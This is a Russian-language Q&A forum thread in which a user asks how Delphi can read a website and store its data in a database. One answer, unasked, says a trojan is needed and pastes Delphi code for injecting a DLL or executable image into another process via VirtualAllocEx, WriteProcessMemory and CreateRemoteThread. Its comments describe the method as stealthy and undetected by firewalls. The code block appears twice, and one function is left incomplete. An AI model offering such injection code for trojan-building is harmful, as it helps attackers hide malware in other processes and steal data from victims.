Другие языки программирования и технологии
Delphi!? Возможно ли виртуально(динамически) зайти на сайт и записать данные с сайта в БД с помощью средств Delphi?
Почему нет? Посимвольно считываеш все и говориш куда писать
Султан Мингажитдинов
хм... посимвольно??? а как прочитать вообще веб-страницу его средствами, хотя бы натолкни на мысль, совмем незнаю от чего отталкиваться???
Если сайт твой это не просто возможно это реально и везде это практикуется, если же сайт не твой и ты хочешь похакерить теоретически такое тоже возможно но практически сложно. Покрайней мере чтоб записать данные нужно писать трояна, который делает иньекцию в другие процессы и выполняет свои функции собирания данных, вот например пару функций:
{
Внедрение Dll в процесс методом инжекции кода и настройки образа Dll в памяти.
Данный метод внедрения более скрытен, и не обнаруживается фаерволлами.
}
function InjectDllEx(Process: dword; Src: pointer): boolean;
type
TDllLoadInfo = packed record
Module: pointer;
EntryPoint: pointer;
end;
var
Lib: TLibInfo;
BytesWritten: dword;
ImageNtHeaders: PImageNtHeaders;
pModule: pointer;
Offset: dword;
DllLoadInfo: TDllLoadInfo;
hThread: dword;
{ процедура передачи управления на точку входа dll }
procedure DllEntryPoint(lpParameter: pointer); stdcall;
var
LoadInfo: TDllLoadInfo;
begin
LoadInfo := TDllLoadInfo(lpParameter^);
asm
xor eax, eax
push eax
push DLL_PROCESS_ATTACH
push LoadInfo.Module
call LoadInfo.EntryPoint
end;
end;
{
Внедрение образа Exe файла в чужое адресное пространство и запуск его точки входа.
Data - адрес образа файла в текущем процессе.
}
function InjectExe(Process: dword; Data: pointer): boolean;
var
Module, NewModule: pointer;
EntryPoint: pointer;
Size, TID: dword;
hThread : dword;
BytesWritten: dword;
Header: PImageOptionalHeader;
begin
Result := False;
Header := PImageOptionalHeader(pointer(integer(Data) +
PImageDosHeader(Data)._lfanew + SizeOf(dword) +
SizeOf(TImageFileHeader)));
Size := Header^.SizeOfImage;
Module := pointer(Header^.ImageBase);
EntryPoint := pointer(Header^.ImageBase + Header^.AddressOfEntryPoint);
NewModule := VirtualAllocEx(Process, Module, Size, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if NewModule = nil then exit;
WriteProcessMemory(Process, NewModule, Module, Size, BytesWritten);
hThread := CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID);
if hThread <> 0 then Result := True;
end;
Одним словом все реально, данные я брал с библиотек написанных Ms-Rem
advApiHook.pas, NativeAPI.pas
{
Внедрение Dll в процесс методом инжекции кода и настройки образа Dll в памяти.
Данный метод внедрения более скрытен, и не обнаруживается фаерволлами.
}
function InjectDllEx(Process: dword; Src: pointer): boolean;
type
TDllLoadInfo = packed record
Module: pointer;
EntryPoint: pointer;
end;
var
Lib: TLibInfo;
BytesWritten: dword;
ImageNtHeaders: PImageNtHeaders;
pModule: pointer;
Offset: dword;
DllLoadInfo: TDllLoadInfo;
hThread: dword;
{ процедура передачи управления на точку входа dll }
procedure DllEntryPoint(lpParameter: pointer); stdcall;
var
LoadInfo: TDllLoadInfo;
begin
LoadInfo := TDllLoadInfo(lpParameter^);
asm
xor eax, eax
push eax
push DLL_PROCESS_ATTACH
push LoadInfo.Module
call LoadInfo.EntryPoint
end;
end;
{
Внедрение образа Exe файла в чужое адресное пространство и запуск его точки входа.
Data - адрес образа файла в текущем процессе.
}
function InjectExe(Process: dword; Data: pointer): boolean;
var
Module, NewModule: pointer;
EntryPoint: pointer;
Size, TID: dword;
hThread : dword;
BytesWritten: dword;
Header: PImageOptionalHeader;
begin
Result := False;
Header := PImageOptionalHeader(pointer(integer(Data) +
PImageDosHeader(Data)._lfanew + SizeOf(dword) +
SizeOf(TImageFileHeader)));
Size := Header^.SizeOfImage;
Module := pointer(Header^.ImageBase);
EntryPoint := pointer(Header^.ImageBase + Header^.AddressOfEntryPoint);
NewModule := VirtualAllocEx(Process, Module, Size, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if NewModule = nil then exit;
WriteProcessMemory(Process, NewModule, Module, Size, BytesWritten);
hThread := CreateRemoteThread(Process, nil, 0, EntryPoint, NewModule, 0, TID);
if hThread <> 0 then Result := True;
end;
Одним словом все реально, данные я брал с библиотек написанных Ms-Rem
advApiHook.pas, NativeAPI.pas
Похожие вопросы
- ЛЮДИ зачем нужны БД (базы данных для сайта) ? Объясните девушки пожалуйста.
- Как вы считаете, сколько могут стоить данные дизайны сайтов, и какой дизайн вам нравится больше? :))
- Я не могу зайти на сайт [ссылка появится после проверки модератором] . Помогите пожалуйста!
- Помогите со скриптом авторизации и регистрации пользователей на сайте через БД
- Хочу создать свой САЙТ ЗНАКОМСТВ с огромным функционалом! Прошу и/или совета, помощи, предложения сотрудничества!!!
- Как воссоздать сайт из интернета в редакторе сайтов? возможно ли это?
- Фотошоп для сайта точнее, как с помощью фотошопа сделать сайт...
- возможно ли получить вирус нечего не скачивая. а просто зайд на сайт, и посидев на нем.
- как создать свой сайт? Надо создать свой сайт. Буду благодарна за помощь.
- хочу создать сайт на своем движке нужен сайт чтоб я мог изменять содержимое прям на сайте посоветуйте чтото